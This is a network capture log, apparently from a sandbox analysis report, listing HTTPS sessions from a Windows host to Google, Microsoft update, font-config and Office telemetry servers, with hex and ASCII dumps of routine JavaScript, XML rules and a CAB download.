2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 Data Ascii: omise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=functi
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 Data Ascii: ("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return thi
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 Data Ascii: function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.s
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 Data Ascii: .entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)ret
2024-10-29 19:35:05 UTC	1378	IN	Data Raw: 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 Data Ascii: 216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49761	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 19:35:05 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=62437 Date: Tue, 29 Oct 2024 19:35:05 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 19:35:05 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f5aa9a52-501e-0064-116a-271f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193505Z-17c5cb586f626sn8grcgm1gf8000000005b000000000n71s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193505Z-16849878b78wc6ln1zsrz6q9w800000006s00000000010cg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4900665d-501e-0029-5111-29d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193505Z-15b8d89586ffsjj9qb0gmb1stn0000000b5000000000c4qr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:05 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193505Z-17c5cb586f6b6kj91vqtm6kxaw00000005sg0000000052t4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193505Z-16849878b786fl7gm2qg4r5y70000000079g000000009qy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49751	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:05 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=LAoL9oevRfGSUy3&MD=onyxB49Z HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 19:35:06 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 497f196b-bd57-48a0-9ca5-f4d4d8a0ff6a MS-RequestId: 2cf8f874-41df-4020-8316-224910f6e5c7 MS-CV: bpnTQh/W+0iTIl8x.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 19:35:05 GMT Connection: close Content-Length: 24490
2024-10-29 19:35:06 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 19:35:06 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49768	142.250.185.110	443	5332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:06 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 19:35:06 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 33 30 35 30 33 31 32 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: 